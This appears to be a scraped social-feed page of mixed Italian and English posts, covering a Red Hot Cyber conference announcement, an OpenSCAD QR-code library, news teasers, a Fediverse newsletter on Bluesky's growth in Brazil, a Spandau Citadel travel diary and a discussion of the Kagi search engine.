- 2 km dalla Stazione Termini o dall’Università La Sapienza, raggiungibile con una passeggiata a piedi di circa 20 minuti o con 6 minuti di Taxi;
- 600 metri dalla stazione della Metro B di Piazza Bologna, raggiungibile con una passeggiata di 6 minuti a piedi o con 3 minuti di Taxi.
L’edizione del 2024
La terza edizione della Red Hot Cyber Conference si è svolta a Roma il 19 e 20 aprile 2024, registrando oltre 800 partecipanti effettivi e più di 1.200 iscrizioni complessive. Durante le due giornate, si sono tenuti workshop pratici ‘hands-on’, la competizione di hacking ‘Capture The Flag’ (CTF), e una conferenza in cui numerosi esperti italiani, provenienti sia dal settore privato che pubblico, hanno condiviso le loro conoscenze sul palco.
Persone in fila per l’accoglienza alla Red Hot Cyber Conference 2024
Capture The Flag (CTF) alla Red Hot Cyber Conference 2024
Ragazzi che giocano alla Capture The Flag (CTF) alla Red Hot Cyber Conference 2024
Platea alla Red Hot Cyber Conference 2024
Pranzo alla Red Hot Cyber Conference 2024
Una inquadratura dei partecipanti alla CTF sulla seconda scalinata del teatro
Una inquadratura dei partecipanti alla Capture The Flag
Una delegazione del team di “PizzaFeijoada” ritirano la maglietta “The Winner is me” della Capture The Flag della Red Hot Cyber Conference 2024
Ingresso di SPOT della Boston Dynamics alla Red Hot Cyber Conference 2024
Workshop “hands-on” alla Red Hot Cyber Conference 2024
Accoglienza alla Red Hot Cyber Conference 2024
Una foto dello STAFF Al completo della Red Hot Cyber Conference 2024Alcune immagini evocative dell’evento del 2024
Di seguito potete trovare una serie di link che mostrano l’evento dello scorso anno, compresi i video degli interventi.
- L’Organizzazione
- I Workshop “Hands On”
- La Capture The Flag (CTF)
- Gli Ospiti
- La Conferenza
- I Video dell’evento
Come si articolerà la Red Hot Cyber Conference 2025
Il programma della Red Hot Cyber Conference 2025 sarà articolato in due complete giornate distinte.
A differenza degli altri anni, i workshop si terranno nella sola giornata di Giovedì 8 Maggio, mentre la Conferenza sarà l’unica protagonista del Venerdì 9 Maggio. Di seguito il programma (ancora in bozza) delle due giornate.
8 Maggio
- Workshop “hands-on”: In tarda mattinata verranno avviati i Workshop pratici, incentrati nell’approccio “hands-on”. Durante questi workshop, verranno affrontati temi quali ethical hacking, intelligenza artificiale e altro ancora. I partecipanti, muniti del proprio laptop, avranno l’opportunità di ascoltare i workshop e poi cimentarsi nello svolgere gli esercizi pratici supervisionati dai nostri esperti per poter toccare con mano la tecnologia. I workshop termineranno la sera dell’8 maggio;
- Capture The Flag (CTF): Nel pomeriggio, partirà anche la Capture The Flag (CTF) che terminerà il 9 Maggio alle ore 17:00. Si tratta di una competizione tra hacker che si terrà sia online che presso il Teatro Italia. I partecipanti presenti presso il Teatro Italia (i quali avranno un posto dedicato per poter partecipare), avranno la possibilità di sfidarsi in “flag fisiche” appositamente progettate per attacchi locali RF/IoT. Tali “flag fisiche”. Queste attività forniranno la possibilità di accumulare maggiore punteggio per salire nella classifica, qualora gli obiettivi prefissati vengano raggiunti. Sarà possibile cimentarsi nelle flag fisiche in entrambe le giornate.
9 maggio
- 9 Maggio – Red Hot Cyber Conference: La giornata sarà interamente dedicata alla RHC Conference, un evento di spicco nel campo della sicurezza informatica. Il programma prevede un panel con ospiti istituzionali che si terrà all’inizio della conferenza. Successivamente, numerosi interventi di esperti nel campo della sicurezza informatica si susseguiranno sul palco fino alle ore 19:00 circa, quando termineranno le sessioni. Prima del termine della conferenza, ci sarà la premiazione dei vincitori della Capture The Flag prevista per le ore 18:00. Si precisa che i Workshop non saranno disponibili nella giornata di Venerdì 9 di maggio ma solo nella giornata di Giovedì 8 di Maggio.
Il Programma Sponsor per la Red Hot Cyber Conference 2025
Come per il 2024 sarà presente la possibilità di adesione come “sponsor sostenitore”. Si tratta delle prime 6 aziende che crederanno in questa iniziativa e che permetteranno a Red Hot Cyber di avviare i lavori relativi alla conferenza. Inoltre una sola tra queste potrà aderire alla “Workshop Sponsorship”, che permetterà allo sponsor di avere un ruolo determinante nell’evento e collaborando strettamente con Red Hot Cyber per organizzare la giornata di Giovedì 8 Maggio, dedicata ai WorkShop, lo scorso anno sostenuta da Accenture Italia. Tali workshop in modalità “hands-on” consentiranno di far avvicinare i ragazzi di “toccare con mano” la tecnologia.
Saranno come di consueto presenti i 3 livelli di sponsorizzazione che sono rispettivamente Platinum, Gold e Silver. Abbinati alla sponsorizzazione della conferenza, sarà presente un pacchetto di Advertising che permetterà allo sponsor di disporre di una serie di vantaggi all’interno del circuito Red Hot Cyber.
Per avere accesso al “Programma Sponsor” e al “Media Kit” e alle informazioni che riassumono i vantaggi della sponsorizzazione dell’evento, scrivete a sponsor@redhotcyber.com
L'articolo Red Hot Cyber Conference 2025. La Quarta edizione a Roma l’8 e il 9 Maggio proviene da il blog della sicurezza informatica.
OpenSCAD Library Creates QR Codes on the Fly
If you’ve been reading Hackaday for awhile, you’ll know we’re big fans of OpenSCAD around these parts. There’s a number of reasons it’s a tool we often reach for, but certainly one of the most important ones is its parametric nature. Since you’re already describing the object you want to generate with code and variables, it’s easy to do things like generate an arbitrary number of cloned objects by using a for
loop.
There are a number of fantastic OpenSCAD libraries that explore this blurred line between code and physical objects, and one that recently caught our eye is scadqr from [xypwn]. The description says it lets you “Effortlessly generate QR codes directly in OpenSCAD”, and after playing around with it for a bit, we have to agree.
How effortlessly are we talking about? Take a look:
Yeah, that’s pretty damn easy. Even better, there’s no alphabet soup of libraries or APIs going on behind the scenes here. It’s just a single file you include in your OpenSCAD script. In fact, you don’t even need to go that far. As [xypwn] explains, the source for the library itself is just the one file, so you could just copy its code right into your project if you didn’t want to have to pull it in as an include
. That could be especially handy if you’re deploying this code somewhere that doesn’t let you pull in external files, like Thingiverse’s Customizer.
Now, there’s all sorts of reasons you might want to create a QR code from within OpenSCAD. But one of first ones that popped into our heads is for the purposes of part identification. Forget simple version numbers, this library would let you physically embed all sorts of ancillary data into your printed components, like who rendered them and at what time. Or perhaps each printed part in an assembly could have a unique QR code that pointed to its respective page in your online documentation.
Got any interesting ideas? Let us know in the comments.
Gli obiettivi climatici europei? «Inadeguati». E le ong sfidano la Commissione in tribunale
@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
In caso di successo, la causa potrebbe obbligare l’Unione a rivedere i suoi obiettivi climatici al 2030: dal 55 al 65% di emissioni in meno
L'articolo Gli obiettivi climatici europei? «Inadeguati». E le ong sfidano la Commissione in tribunale proviene da Valori.
Onda nera sulla Germania in crisi
@Notizie dall'Italia e dal mondo
Alternativa per la Germania vince le elezioni in due importanti Land orientali e minaccia la stabilità politica del paese dove la crisi economica continua a mordere
L'articolo Onda nera sulla Germania in crisi proviene da Pagine Esteri.
Calciomercato: Londra da sola ha speso il triplo dell’Arabia Saudita
@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
I numeri del calciomercato ci dicono che la bolla è gonfiata dai fondi della City londinese, non certo dai campionati arabi
L'articolo Calciomercato: Londra da sola ha speso il triplo dell’Arabia Saudita proviene da Valori.
il nuovo codice per air bnb e simili, ma
No, qualora l’attività di ospitalità sia svolta a titolo meramente gratuito. Le libere donazioni corrisposte dagli ospiti non fanno venir meno la gratuità della prestazione offerta. "
ministeroturismo.gov.it/faq-ba…
E vabbè
Non c'è male.
San Zuzzurro delle tasche, non mi far pagar le tasse.
San Pirillo delle olive amare, l'imu non farmi pagare.
If you got an email containing your address and a PDF with a photo of your street, don't freak out: it's a fake sextortion scheme.
If you got an email containing your address and a PDF with a photo of your street, donx27;t freak out: itx27;s a fake sextortion scheme.#News
Sextortion Scammers Try to Scare People by Sending Photos of Their Homes
If you got an email containing your address and a PDF with a photo of your street, don't freak out: it's a fake sextortion scheme.Samantha Cole (404 Media)
question, When were programmers supposed to be obsolete?
!Programmer Humor
Hi, this is a question that popped into my mind when i saw an article about some AWS engineer talking about ai assistants taking over the job of programmers, this reminded me that it's not the first time that something like this was said.
My software engineering teacher once told me that a few years ago people believed graphical tools like enterprise architect would make it so that a single engineer could just draw a pretty UML diagram and generate 90% of the project without touching any code,
And further back COBOL was supposed to replace programmers by letting accountants write their own programs.
Now i'm curious, were there many other technologies that were supposedly going to replace programmers that you remember?
i hope someone that's been around much more than me knows something more or has some funny stories to share
Oracle has a product called Oracle Policy Automation (OPA) that it sells as "you can write the rules in plain English in MS Word documents, you don't need developers". I worked for an insurance organization where the business side bought OPA without consulting IT, hoping they wouldn't have to deal with developers. It totally failed because it doesn't matter that they get to write "plain English" in Word documents. They still lack the structured, formal thinking to deal with anything except the happiest of happy paths.
The important difference between a developer and a non-developer isn't the ability to understand the syntax of a programming language. It's the willingness and ability to formalize and crystallize requirements and think about all the edge cases. As an architect/programmer when I talk to the business side, they get bored and lose interest from all my questions about what they actually want.
- can AI replace the job of a real programmer, or a team of software engineers? Probably not for a long time.
- can manager abuse the fantasy that they could get rid of those pesky engineers that dare telling them something is impossible? Yes totally. If they believe adding an AI tool to a team justifies a 200% increase in productivity. Some managers will fire people against all metrics and evidence. Calling that move a success. Same occurred when they try to outsource code to cheaper teams.
Droni navali e sistemi autonomi. Ecco l’accordo della cantieristica francese
[quote]Quella dell’importanza crescente dei veicoli a pilotaggio remoto (i cosiddetti droni) nelle operazioni di combattimento è una delle principali lezioni apprese dal conflitto russo-ucraino, non solo nelle loro configurazioni aeree, ma anche in versioni terrestri e soprattutto navali. È infatti in
I sottomarini a propulsione nucleare di India e Australia preoccupano Pechino
[quote]Quegli americani che argomentano un vantaggio strutturale degli Usa sulla Cina (chiamati nell’ambiente accademico primacists o denialists) si concentrano spesso sulle frontiere dei due Paesi: mentre gli Usa confinano con due Paesi amici e due oceani, Pechino è al centro di una regione
Pfizer, Microsoft, Palantir, Home Depot, and Lockheed Martin were all shown as "clients" of LobbyMatic. All of them say they haven't worked with the company.
Pfizer, Microsoft, Palantir, Home Depot, and Lockheed Martin were all shown as "clients" of LobbyMatic. All of them say they havenx27;t worked with the company.#LobbyMatic #JacobWohl #AIImages #AI #AILobbying
Big Tech ‘Clients’ of Jacob Wohl’s Secret AI Lobbying Firm Say They've Never Heard of It
Pfizer, Microsoft, Palantir, Home Depot, and Lockheed Martin were all shown as "clients" of LobbyMatic. All of them say they haven't worked with the company.Jason Koebler (404 Media)
Paolo Macry – La destra italiana. Da Guglielmo Giannini a Giorgia Meloni
L'articolo Paolo Macry – La destra italiana. Da Guglielmo Giannini a Giorgia Meloni proviene da Fondazione Luigi Einaudi.
Perché il prossimo documento strategico di Londra riguarda anche Roma
[quote]L’eco della Strategic defence review (Sdr) annunciata dal nuovo primo ministro britannico Keir Starmer è arrivato anche in Italia, sulle ali del Global combat air programme (Gcap). Se Guido Crosetto, ministro della Difesa, e i vertici di Leonardo hanno espresso sicurezza circa la stabilità del
Nuovo elicottero britannico. Leonardo verso la commessa da un miliardo
[quote]L’italiana Leonardo è rimasta l’unica azienda in gara per la commessa, stimata in un miliardo di sterline (1,19 miliardi di euro), per rinnovare la componente ad ala rotante delle Forze armate britanniche. Il ritiro di Airbus e Sikorsky (società del gruppo Lockheed Martin) dalla gara per il programma
PODCAST. Emergency a Gaza. Stefano Sozza: “Qui la peggiore delle crisi”
@Notizie dall'Italia e dal mondo
Dopo mesi in attesa del permesso umanitario, l'ong italiana è entrata a Gaza per offrire assistenza sanitaria di base alla popolazione martoriata dalla guerra. Abbiamo intervistato il capomissione Stefano Sozza
L'articolo PODCAST. Emergency a Gaza. Stefano Sozza:
Il ministro Sangiuliano: “Mai dati a Boccia soldi pubblici né documenti G7”. Ma lei lo sconfessa e pubblica tutto su Instagram
@Politica interna, europea e internazionale
Il ministro della Cultura Gennaro Sangiuliano rompe il silenzio e scrive una lettera al quotidiano La Stampa in cui assicura che il Ministero non ha mai utilizzato soldi pubblici per rimborsare viaggi a Maria Rosaria
reshared this
Litigation funds: i pericolosi rapporti tra finanza e giustizia
@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
Negli ultimi anni si sono affermati i litigation funds: anticipano i costi delle class action e, in caso di successo, trattengono parte dei rimborsi
L'articolo Litigation funds: i pericolosi rapporti tra finanza e giustizia proviene da Valori.
imolaoggi.it/2024/08/27/partit…
Elly, per favore, lascia perdere Renzi in Liguria e dai la linea al centrosinistra per la Regione
@Politica interna, europea e internazionale
Questo è un appello, anzi una richiesta pressante, una supplica angosciata rivolta ai dirigenti, nazionali e locali, dei partiti della cosiddetta opposizione, e in particolare al Partito democratico. In particolare mi rivolgo alla segretaria Elly Schlein
Palestinesi denunciano: gravi le condizioni della deputata Khalida Jarrar in carcere in Israele
@Notizie dall'Italia e dal mondo
La parlamentare del Fronte popolare, detenuta senza processo da otto mesi, verrebbe tenuta in uno stretto isolamento e sottoposta a gravi restrizioni nonostante le sue precarie condizioni di salute
L'articolo
Deca – Strategia esoterica
“Ogni mio nuovo lavoro rappresenta la summa e la sintesi di tutti quelli realizzati prima, evolvendone nuovamente il significato e la portata artistica. Credo che “Strategia Esoterica” abbia comunque una forza molto superiore perché frutto di una trasmutazione molto potente”- Deca @Musica Agorà
iyezine.com/deca-strategia-eso…
Deca - Strategia esoterica
Deca - Strategia esoterica - “Ogni mio nuovo lavoro rappresenta la summa e la sintesi di tutti quelli realizzati prima, evolvendone nuovamente il significato e la portata artistica.Massimo Argo (In Your Eyes ezine)
LIBRI. Laboratorio Palestina: l’esperienza sul campo si vende in armi
@Notizie dall'Italia e dal mondo
Antony Loeweisten, giornalista investigativo australiano, traccia la linea delle relazioni tra l’industria bellica israeliana e molti paesi del mondo. La vendita di armi emerge come priorità impellente per Tel Aviv a dispetto della natura politica dell’acquirente
L'articolo
È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito.
Ministero dell'Istruzione
#NotiziePerLaScuola È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito.Telegram
Pibiesse, la tipografia che guarda al futuro
@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
La Pibiesse è una tipografia, ma anche un progetto di innovazione sociale che vuole diventare modello per la riqualificazione del territorio
L'articolo Pibiesse, la tipografia che guarda al futuro proviene da Valori.
Aerei e navi nella tassonomia europea: Bruxelles dovrà risponderne in tribunale
@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
Bruxelles etichetta come “investimenti verdi” aerei e navi inquinanti: una coalizione di ong la trascina in tribunale
L'articolo Aerei e navi nella tassonomia europea: Bruxelles dovrà risponderne in tribunale proviene da Valori.
controinformazione.info/lucrai…
Bluesky experiences a massive new wave of signups from Brazil, Premium feeds with sub.club, and much more.
[share author='Laurens Hof' profile='https://fediversereport.com/author/laurenshof/' avatar='https://poliverso.org/photo/206608119366e42c304ffac007248590-5.jpeg?ts=1734620326' link='https://fediversereport.com/last-week-in-fediverse-ep-82/' posted='2024-09-01 18:04:28' guid='08552256-1db60dc7714646e3-cb23b587' message_id='https://fediversereport.com/last-week-in-fediverse-ep-82/']Last Week in Fediverse – ep 82
1 million new accounts on Bluesky as Brazil bans X, and premium feeds with Sub.club, and much much more.
Brazil bans X, and a signup wave to Bluesky
The Brazilian supreme court has banned the use of X in an ongoing legal fight with Elon Musk. The ban follows after a long trajectory of legal issues between the Brazilian government and Musk’s X. In April 2024, the Brazilian court ordered X to block certain X accounts that were allegedly related to the 2023 coup attempt, which Musk refused to do. In that same time period, President Luiz Inácio Lula da Silva opened an account on Bluesky, and there was already an inflow of a Brazilian community into Bluesky. Now, the legal fight has further escalated over X’s refusal to appoint a legal representative in the country, and Musk’s continuing refusal to comply with Brazil’s laws and regulation has resulted in the supreme court banning the use of X in the country altogether.
The ban on X has caused a massive signup wave to Bluesky, with over 1 million new accounts created in just three days, of which the large majority are from Brazil. The user statistics shot up even more than that, suggesting that there are a lot of people with an existing account logging back in as well.
The new inflow of people to Bluesky is having some significant effects on the network, as well as on the state of decentralised social networks more broadly:
- President Lula is putting actual focus on Bluesky. In one of his final posts on X, Luala listed in non-alphabetical order all other platforms that he is active on, and placed Bluesky at the top of the list. Posts by Lula that are placed on Bluesky (134k followers) as well as on Threads (2.4m followers) get more than 5 times as much likes on Bluesky. Today, Lula explicitly asked people on Bluesky what they thought about the platform, in a post that got over 30k likes and counting. It is hard to imagine that the Brazilian government is not paying attention to this all, and is looking which platform(s) the Brazilian community is moving towards in the wake of the ban on X.
- Brazilians are a very active community on the internet (see Orkut), and bring with them their own unique culture to Bluesky. The current decentralised social networks are heavily focused on US politics, judged by top posts on both Mastodon and Bluesky, and beyond shitposts and memes there is surprisingly little space for mainstream pop culture and sports. The Brazilian community does seem to bring a large number of pop culture and sports to Bluesky, significantly diversifying the topics of discussion, and in turn, creating more space for other people who are interested in that in the future. The activity of Brazilians on microblogging can also be seen in the like counts on popular posts of Bluesky: before this week, the most popular posts of any given day usually got around 3k likes, this has sprung up to 30k to 50k likes. Brazilians are so chatty in fact, that currently 81% of the posts on the network are in Portugese, and the amount of accounts of people who post on a given day has gone up from a third to over 50%.
- The Bluesky engineers have build a very robust infrastructure system, and the platform has largely cruised along fine without issues, even when faced with a 15x increase in traffic. This all without having to add any new servers. For third party developers, such as the Skyfeed developer, this increase in traffic did came with downtime and more hardware requirements however. It shows the complications of engineering an open system, while the Bluesky team itself was prepared with their core infrastructure, third party infrastructure, on which a large number of custom feeds rely, was significantly less prepared for the massive increase in traffic.
In contrast, the ban on X in Brazil has made little impact on Mastodon, with 3.5k new signups from Brazil on Mastodon.social. I’d estimate that this week has seen 10k new accounts above average, with 15k new accounts the previous week and 25k in this week. That places Mastodon two orders of magnitude behind Bluesky in signups from Brazil. There are a variety of reasons for this, which deserve their own analysis, this newsletter is long enough as it is. One thing I do want to point out is within fediverse community there are two sub communities that each have their own goals and ideas about the fediverse and growth. Some people responded with the news that most Brazilians went to Bluesky with type of response that indicated that they appreciate the small, quiet and cozy community that the fediverse currently provides, and a distrust of the growth-at-all-costs model for social networks. For other people however, their goal of the fediverse is to build a global network that everyone is a part of and everyone uses (‘Big Fedi’), a view of the fediverse that is also represented in the latest episode of the Waveform podcast (see news below). And if the goal is to build ActivityPub into the default protocol for the social web, it is worth paying attention to what is happening right now in the Brazilian ATmosphere.
The News
Sub.club is a new way to monetise feeds on the fediverse, with the goal of bringing the creator economy to the fediverse. It gives people the ability to create premium feeds that people can only access via a subscription. People can follow this feed from any Mastodon account (work on other fediverse platforms is ongoing). Sub.club handles the payment processes and infrastructure, for which they charge 6% of the subscription fee (compared to 8-12% Patreon charges). Sub.club also makes it possible for other apps to integrate, both IceCubes and Mammoth have this option. Bart Decrem, who is one of the people behind Sub.club, is also the co-founder of the Mastodon app Mammoth. Sub.club also explicitly positions itself as a way for server admins to fund their server. Most server admins rely on donations by their users, often via services like Patreon, Ko-fi, Open Collective or other third party options. By integration payments directly into the fediverse, Sub.club hopes that the barrier for donations will be lower, and more server admins can be financially sustainable.
Newsmast has build a new version of groups software for the fediverse, and the first group is dedicated to the Harris campaign. There are few types of groups available that integrate with Mastodon, such as with Friendica or a.gup.pe. These groups function virtually identical to hashtags, by boosting out posts where the group account is tagged in to everyone who follows the group account. As there is no moderation in these types of group accounts, it allows anyone to hijack the group account. A group account dedicated to a political campaign is especially vulnerable to this. On Mastodon a volunteer Harris Campaign group used a Friendica group for campaign organising, but the limited moderation tools (blocking a user from following the group) that are available are not working, which allowed blocked users to still get their posts boosted by the group account. Newsmast’s version of Groups gives (working) moderation tools, and only boosts top level comments and not replies, to cut down on the noise. For now, the new Group is only available to the Harris Campaign group for testing, but it will come later to Mastodon servers that run the upcoming Patchwork plugin.
Bluesky added quite a number of new anti-toxicity features in their most recent app update. Bluesky has added quote posting controls, allowing people to set on a per-post basis if people can quote the post or not. There is also the option to remove quotes after the fact as well: if you’ve allowed quote posts on a post you’ve made, but someone made a quote post that you do not feel comfortable with, you have the possibility to detach your post. Another update is the possibility to hide replies on your posts. Bluesky already hides comments under a ‘show more’ button if the comment is labeled by a labeler you subscribe to. You now have the option to do so on all comments that are made on your posts, and the hidden comment will be hidden for everyone. Finally, Bluesky has changed how replies are shown in the Following feed, which is an active subject of discussion. I appreciate the comments made by Bluesky engineer Dan Abramov here, who notes there are two different ways of using Bluesky, who each prioritise comments in conflicting ways. As new communities grow on Bluesky, prioritising their (conflicting) needs becomes more difficult, and I’m curious to see how this further plays out.
The WVFRM (Waveform) podcast of popular tech YouTuber MKBHD has a special show about the fediverse, ‘Protocol Wars – The Fediverse Explained!’. It is partially a discussion podcast, partial explainer, and partial interview with many people within the community. They talk with Mastodon’s Eugen Rochko, Bluesky’s Jay Graber, Threads’s Adam Mosseri, and quite some more people. It is worth noting for a variety of reason. The show is quite a good introduction, that talks to many of the most relevant names within the community. MKBHD is one of the biggest names in the tech creator scene, and many people are paying attention to what he and his team is talking about. Furthermore, I found the framing as ‘protocol wars’ interesting, as the popularity of Bluesky in Brazil as an X replacement indicates that there is indeed a race between platforms to be build on top of the new dominant protocol.
Darnell Clayton has a very interesting blog post, in which he discovers that there is a discrepancy in follower count for Threads accounts that have turned on fediverse sharing. Clayton notes that the follower count shown in the Threads app is lower than the one shown in a fediverse client, for both Mastodon and Flipboard. He speculates that this difference is the number of fediverse accounts that follow a Threads account. It should be noted that this is speculation and has not been confirmed, but if this is true, it would give us a helpful indication of how many fediverse accounts are using the connection with Threads. While we’re talking about Threads accounts, Mastodon CEO Eugen Rochko confirmed that the mastodon.social server has made a connection with 15.269 Threads accounts who have turned on fediverse sharing.
The Links
- Threads has figured out how maximise publicity by making minimal incremental updates to their ActivityPub implementation, edition 500.
- A Developer’s Guide to ActivityPub and the Fediverse – The New Stack interviews Evan Prodromou about his new book about ActivityPub.
- FedIAM is a research project where people can use fediverse and Indieweb protocols for logging in.
- You can now test Forgejo’s federation implementation.
- This week’s fediverse software updates.
- Ghost’s latest update on their work on implementing ActivityPub: “With this milestone, Ghost is for the first time exceeding the functionality of a basic RSS reader. This is 2-way interaction. You publish, and your readers can respond.”
- Dhaaga is a multiplatform fediverse client that adds unique client-side functionalities.
- Lotide, a experimental link-aggregator fediverse platform, ceases development.
- A custom QR code generator, which some pretty examples of custom QR codes for your fediverse profile.
- Custom decentralised badges on atproto with badges.blue, a new work in process by the create of atproto event planner Smoke Signal.
- Smoke Signal will be presenting at the next version of the (third party organised) ATproto Tech Talk.
That’s all for this week, thanks for reading.
Ieri avevo in programma un giro per negozi di biciclette per vedere e provare un po' di bici elettriche. Uno di questi si trova a Spandau, che rispetto a casa mia è inculatissima (un'ora di viaggio minimo) per cui ho unito l'utile al dilettevole e con l'occasione sono stata anche a visitare la Cittadella.
Vista dalla Juiliusturm (1230), dicono il più antico edificio preservato di Berlino.
Questa scelta mi ha innanzitutto regalato la conoscenza degli Heilung, band che pesta tantissimo e che suonava la sera stessa proprio nella Cittadella. I tecnici che ne facevano il soundcheck mentre io gironzolavo me li hanno fatti apprezzare. Se amate la musica che pesta tantissimo date loro un orecchio, secondo me possono messere d'accordo gente dai gusti diversi (purché pestino! L'ho detto che pestanopestanopestano?).
Poi va detto che il biglietto di ingresso a 4,50 € stracciati dà accesso a tutti e sei i musei presenti nel complesso, piccoli, diversi, ma tutti meritevoli. Ho saltato solo il Centro d'Arte Contemporanea perché chiuso per allestimento di una mostra.
Prima fermata: la "finestra archeologica"
Qui sono conservati gli scavi archeologici che hanno portato alla luce le tre fasi costruttive della fortificazione. Dal XIII al XVI secolo si vede l'evoluzione dalla prima palizzata in legno, alle mura in pietra medievali, al castello in stile rinascimentale e mattoni rossi oggi visibile. Vengono spiegati anche dettagli ingegneristici, tipo che per costruire i bastionazzi così come sono oggi hanno "sbrodolato" fuori dai confini dell'isoletta su cui era sorto il nucleo originario. Per costruire in acqua hanno praticamente fatto una fitta base di "denti" di legno su cui poi è stata costruita la struttura attuale. Che non sia sprofondato tutto per me ha del miracoloso.
Seconda fermata: il museo civico di Spandau
Qui sono esposti reperti della storia di Spandau: dalle repliche dei documenti ufficiali, agli oggetti di uso comune, al prodotto dell'industria qui storicamente stanziata, al (ovviamente) nazionalsocialismo, alla divisione.
Questi sono giocattoli, che già di per sé mi fa rabbrividire. Alle stuatuine di Hitler e Göring si può alzare il braccino per fargli fare il saluto nazista. Ha un sapore distopico, invece è successo davvero: dei bambini hanno giocato con 'sta roba.
Gironzolando qui ho scoperto che parte di Metropolis è stata girata a Spandau (pensavo solo ai Babelstudios, e invece) e c'è un memoriale di una persona che ha partecipato alla produzione che vorrò leggere per intero. Amo Metropolis!
Terza fermata: la sala d'armi (o come diavolo vogliamo tradurre Exerzierhalle)
Qui sono conservati cannoni. Decine e decine di cannoni. Il più vecchio è del primo '400, il più giovane risale alla Prima Guerra Mondiale.
Immaginate di stare accovacciati qui dietro a sparare al "nemico".
La sala è chiusa e, con il caldo, dentro ristagna un odore che ricorda un'officina meccanica, ma con un "twist" tutto suo. Il mio cervello lo ha etichettato come "odore di guerra", ma non penso che sul campo la puzza fosse quella (o almeno non soltanto quella).
Toccacciando in giro (perché qui è concesso mettere le mani sugli artefatti) ho poi constato come ci sia stata un'epoca, tra '600 e '700, in cui usava mettere motti vari sui cannoni. Questo qua mi ha colpita di più:
Dice:"Saturnus frist (!) die Kind allein ich fress sie aller gros (!) und klein" (grossomodo: "Saturno mangia solo i bambini, io mangio tutti, grandi e piccini". Che detto da un cannone ci sta).
Quarta tappa: il deposito provvigioni
Questo è un edificio del periodo rinascimentale, in parte ricostruito, oggi adibito a galleria che preserva una serie di monumenti scultorei precedentemente sparsi per Berlino dal XVIII al XX secolo. Praticamente un consesso di figure rilevanti per la storia della città (e non solo). Alla fine c'è anche lui: il capoccione di Lenin!
Avete presente il megaprogetto di Hitler per la trasformazione di Berlino nella "Welthauptstadt Germania"? Come doveva diventare una città monumentale, con al centro un ipermega edificio celebrativo? Ecco. Questo plastico rende l'idea di quanto megalomane fosse il progetto di quell'edificio: quella cosina a destra è la porta di Brandeburgo, in scala.
Quinta tappa: la casa del comandante
L'ho vista per ultima, ma, essendo sopra la biglietteria, in realtà si potrebbe vedere anche come prima cosa. Qui sono conservati reperti e documenti della storia della Cittadella, altri dettagli sulle fasi costruttive, ma anche flora e fauna del luogo.
Che dire alla fine di tutto questo? Ma niente, solo che ogni volta che sfioro la storia di questa città il brivido lungo la schiena è assicurato. Qua sono successe cose folli.
(Oh, le bici in tutto questo le ho provate eh. Ho due candidate tra cui decidere).
Recensione : MELT-BANANA – 3 + 5
MELT-BANANA - 3 + 5
MELT-BANANA - 3 + 5 - "Che cazzo è 'sta roba?!?!?!?" si chiese meravigliato chi vi scrive, quando ha scoperto dell'esistenza, anni fa, dei giapponesi Melt-Banana, dal 1992 tra i principali agitatori della scena/movimento concettuale "Japanoise", vale…Reverend Shit-Man (In Your Eyes ezine)
Il Burkina Faso ha deciso di nazionalizzare le miniere d’oro l L'Indipendente
"L’azione del governo di Ouagadougou rientra in un contesto più ampio, che vede sempre più nazioni africane riappropriarsi delle proprie risorse per orientarne i profitti a beneficio dello sviluppo nazionale e non di società straniere. Una tendenza ancora più marcata in quegli Stati africani desiderosi di riacquisire la propria indipendenza politica e strategica dalle direttive neocoloniali occidentali."
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viking
in reply to Cybersecurity & cyberwarfare • • •I've tested kagi and agree that the search results are great. What I don't like is that it's making anonymous searching impossible, since I have to be logged in to use it (or use my unique token as part of the url for mobile searches).
Ultimately this means to me that in a private window mode (or even logged out with a fingerprinting resistant browser) I do not have the same degree of anonymity I enjoy even when using Google, let alone DDG or others.
I like the idea of not being dependent on google, but exposing my entire search history to one single entity is not my answer of choice.
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Cybersecurity & cyberwarfare
in reply to viking • •@viking you are right: this is a serious criticality. However, Kagi aims to provide an optimal search service, but it is not focused on anonymity.
From that point of view, Brave's search engine is much better, which has improved a lot
Blaze (he/him)
in reply to Cybersecurity & cyberwarfare • • •Cybersecurity & cyberwarfare likes this.
cabbage
in reply to Cybersecurity & cyberwarfare • • •I subscribed to the lower tier for a while, but I kept running out of searches early on every month, and the price of the higher tier is just not excusable. So I found myself adding the !ddg bang most of the time to avoid spending my Kagi quota.
And as good as Kagi is, it's still primarily a meta search engine, organizing results from the dominant actors. So it's not like the price is justified by them having to crawl the entire web themselves. Their own crawler, Teclis, is currently small web only and can probably best be described as an interesting project.
Instead of making search cheaper or more affordable, they spend subscription money on creating AI services and various other non-search distractions. Maybe that's good for some people, but I don't want that shit. I just want a good search engine at a justifiable price. And for that, sadly, Kagi fell short.
Teclis - Non-commercial Web Search
teclis.comCybersecurity & cyberwarfare likes this.
rglullis
in reply to Cybersecurity & cyberwarfare • • •Cybersecurity & cyberwarfare likes this.
Cybersecurity & cyberwarfare
in reply to rglullis • •rglullis
in reply to Cybersecurity & cyberwarfare • • •Cybersecurity & cyberwarfare likes this.
Cybersecurity & cyberwarfare
Unknown parent • •cabbage
Unknown parent • • •Mastodon posts tend to get funky when they federate, because Mastodon has this (annoying) norm of starting posts with mentions. So OP mentioned the community on the first line, which became the first part of the title - @fediverse. Second, it mentions Kagi as a tag instead of name, which gives the @kagihq. And then comes the first sentence as the rest of the title.
It's a great example of Lemmy/Mastodon interoperability working, but not being quite there yet.
Cybersecurity & cyberwarfare
in reply to cabbage • •@cabbage
I'm not writing from Mastodon, but from Friendica
The mentions problem seems to be only for PieFed, but it doesn't happen with Lemmy
I think it should be reported as an issue to PieFed developers
willya
in reply to Cybersecurity & cyberwarfare • • •Cybersecurity & cyberwarfare likes this.
Cybersecurity & cyberwarfare
in reply to willya • •cabbage
in reply to willya • • •I can only speak for myself, but I like to keep posted when important people and organizations are opening accounts on the Fediverse. 😀
It's funny that Kagi included "fediverse forums" functionality in their search before they decided to join Mastodon - one would think the search functionality required a bit more.
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asudox
in reply to Cybersecurity & cyberwarfare • • •Unlike Kagi, I can search without limits and without the AI stuff that even Kagi has started getting into.
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cabbage
